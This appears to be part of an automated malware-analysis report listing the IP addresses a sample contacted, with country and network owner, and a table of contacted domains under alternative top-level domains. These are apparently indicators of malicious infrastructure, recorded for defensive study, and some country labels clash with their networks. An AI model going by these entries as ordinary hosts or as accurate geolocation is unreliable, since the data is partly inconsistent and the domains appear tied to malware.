108.72.132.8
 unknown United States
7018 ATT-INTERNET4US false
29.246.121.193
 unknown United States
7922 COMCAST-7922US false
180.14.77.103
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
22.41.171.157
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
20.162.225.206
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
46.102.232.145
 unknown Romania
39758 SIMPLIQ-ASRO false
33.22.199.153
 unknown United States
2686 ATGS-MMD-ASUS false
134.94.51.184
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
18.195.78.21
 unknown United States
16509 AMAZON-02US false
3.141.112.33
 unknown United States
16509 AMAZON-02US false
104.215.214.166
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
20.149.185.59
 unknown United States
4237 CSC-IGN-FTWUS false
114.140.226.122
 unknown Taiwan; Republic of China (ROC)
9674 FET-TWFarEastToneTelecommunicationCoLtdTW false
7.115.6.90
 unknown United States
3356 LEVEL3US false
52.142.174.166
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
85.23.155.95
 unknown Finland
16086 DNAFI false
213.91.232.234
 unknown Bulgaria
8866 BTC-ASBULGARIABG false
203.230.72.248
 unknown Korea Republic of
1237 KREONET-AS-KRKISTIKR false
71.99.245.198
 unknown United States
5650 FRONTIER-FRTRUS false
67.110.124.157
 unknown United States
2828 XO-AS15US false
104.214.95.53
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
95.55.190.154
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
113.209.177.36
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
15.23.8.60
 unknown United States
13979 ATT-IPFRUS false
137.76.96.70
 unknown Australia
37440 Airtel-MW false
104.90.135.163
 unknown United States
16625 AKAMAI-ASUS false
150.77.171.117
 unknown Japan 6400 CompaniaDominicanadeTelefonosSADO false
26.46.249.69
 unknown United States
7922 COMCAST-7922US false
139.118.24.196
 unknown Norway
5619 EVRY-NO false
205.154.248.38
 unknown United States
63435 MONTEREY-AS-01US false
181.197.167.25
 unknown Panama
18809 CableOndaPA false

Contacted Domains

Name IP Active
75cents.libre unknown unknown
f.codingdrunk. unknown unknown
nineteen.libre. [malformed] unknown unknown
imaverygoodbadboy.libre. [malformed] unknown unknown
fortyfivehundred.dyn. [malformed] unknown unknown
f.codingdrunk. . [malformed] unknown unknown
ru.coziest.lol unknown unknown
www.codingdrunk.in. [malformed] unknown unknown
75cents.libre. [malformed] unknown unknown
2joints.libre unknown unknown
2joints.libre. [malformed] unknown unknown
eighteen.pirate unknown unknown
www.codingdrunk.in unknown unknown
nineteen.libre unknown unknown
eighteen.pirate. [malformed] unknown unknown
fortyfivehundred.dyn unknown unknown
21savage.dyn. [malformed] unknown unknown
ru.coziest.lol. [malformed] unknown unknown
imaverygoodbadboy.libre unknown unknown